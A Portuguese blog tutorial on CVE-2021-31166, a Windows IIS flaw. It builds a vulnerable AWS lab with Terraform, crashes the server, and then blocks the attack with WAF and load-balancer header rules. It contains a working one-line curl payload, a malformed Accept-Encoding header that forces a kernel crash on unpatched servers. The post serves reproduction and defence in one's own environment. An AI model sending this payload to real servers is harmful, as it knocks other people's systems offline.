Causando Tela Azul da Morte no Windows pelo IIS
Tags: windows, bsod, cve
Published: 2021-05-23 22:24:59

# Estou sem tempo, pode resumir?

* Um novo [CVE-2021-31166](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-CVE-2021-311660) pode forçar Kernel Crash (TELA AZUL) no Windows **10** e **Server Core**

* Versões afetadas são as mais recentes **20H1 - Build 19041** e **20H2 - Build 19042** sem o devido Windows Update.

* O bug pode afetar **WinRM** e **IIS**

<br>

### Este artigo foi escrito para que você teste em **SUA** conta AWS, e possa simular o CVE.

<br>
<br>


A forma mais rápida de ficar tranquilo perante este assunto, é você ter controle sobre as versões do Windows 10 e Windows Server que você possui em sua infra. Como bem sabemos em grandes corporações não é simplesmente "Rodar Windows Update", os updates precisam ser testados e aprovados... e isto pode causar um delay na atualização.

<br>

Para reproduzir este problema em um ambiente controlado, você pode aplicar o terraform abaixo. Com este terraform será criado uma EC2 Windows Server Core 20H2 com updates até Abril-21, bem como um Load Balancer do tipo Application, uma vez que precisamos ter uma Proxy frente ao IIS para nos proteger.

<br>

### Executando o Terraform

```bash
git clone https://github.com/bgsilvait/WIn-CVE-2021-31166.git
cd WIn-CVE-2021-31166
terraform init
terraform plan
terraform apply --auto-approve
```

<br>

### Reavendo valores do ALB DNS e IP da EC2

```bash
#Caso você esteja usando Windows, rode somente o comando dentro dos ()
ALB=$(terraform output -raw lb_dns_name)
EC2IP=$(terraform output -json public_ip | jq -r '.[0]')
```

<br>

Como o Windows leva mais tempo para terminar o bootstrap e instalar o IIS, pode demorar uns 2-3 minutes até que você possa efetuar o teste.

<br>


###  Testando Acesso pelo Loadbalancer e pela EC2
```bash
#Testando acesso apenas uma vez
curl -I $ALB
curl -I $EC2IP
#Testando acesso de forma continua ALB
while true; do curl -I $ALB --connect-timeout 1 ; done

#Testando acesso de forma continua EC2
while true; do curl -I $EC2IP --connect-timeout 1 ; done
```

<br>

###  Testando Acesso pelo curl e pelo navegador

![curl](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dqmw197c0w545twbhk4s.png)


![Navegador](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vl9z5rh8q8y0yh9qhcxl.png)


### Executando o payload para forçar o Crash
```bash
#Testing to ALB
curl -i $ALB -H "Accept-Encoding: doar-e, ftw, imo, ,"

#Testing Directly to EC2'
curl -i $EC2IP -H "Accept-Encoding: doar-e, ftw, imo, ,"
```

### Acompanhando o acesso de forma continua[1] e executando o payload[2]

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/z4ledfhfgjnb1d11f1cz.png)

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/k18s0benra61fjy370k1.png)

É possível perceber pela mudança do status `200 OK` para `curl: (28) Connection timed out after` o qual demonstra que algo ocorreu do lado do IIS. Ao acessar a EC2 pelo [SSM Session] (https://docs.aws.amazon.com/systems-manager/latest/userguide/session-manager-working-with-sessions-start.html#start-ec2-console) e rodando o comando powershell **Get-EventLog -LogName System | Where-Object { $_.EventID -eq '6008' }** que houve um desligamento inesperado do SO.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/uvvrz2zapj2jihjabplx.png)

<br>


### Forma de Proteção 1 - AWS WAF


<br>

Utilizando-se o [AWS WAF + ALB](https://wellarchitectedlabs.com/security/200_labs/200_basic_ec2_with_waf_protection/3_create_alb_with_waf/) é possível criar uma regra que realize um filtro baseado no Header Http, e faça o drop do pacote antes de alcançar o IIS. Você pode utilizar esta [JSON Rule](https://github.com/bgsilvait/WIn-CVE-2021-31166#rule-for-aws-wafv2-to-block) como base.

Verificando o resultado do mesmo comando do payload sendo filtrado pelo AWS WAF:

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/r4qrh797lepo89omhdr8.png)

### Forma de Proteção 2 - AWS ALB


<br>

Em alguns casos sua empresa não utiliza WAF, ou você não tem acesso a modificar regras. Utilizando-se o [ALB ARR](https://aws.amazon.com/blogs/aws/new-advanced-request-routing-for-aws-application-load-balancers/) podemos criar uma regra baseada no Header:

Criando Regar no ALB:

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4ciiw9hl3dpuwlxbgjxd.png)

Testando Payload com Regra no ALB(WAF removido):

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/jtcgmyu07ar0fwa7abwq.png)

### Realizando Limpeza...

```bash
terraform destroy --auto-approve
```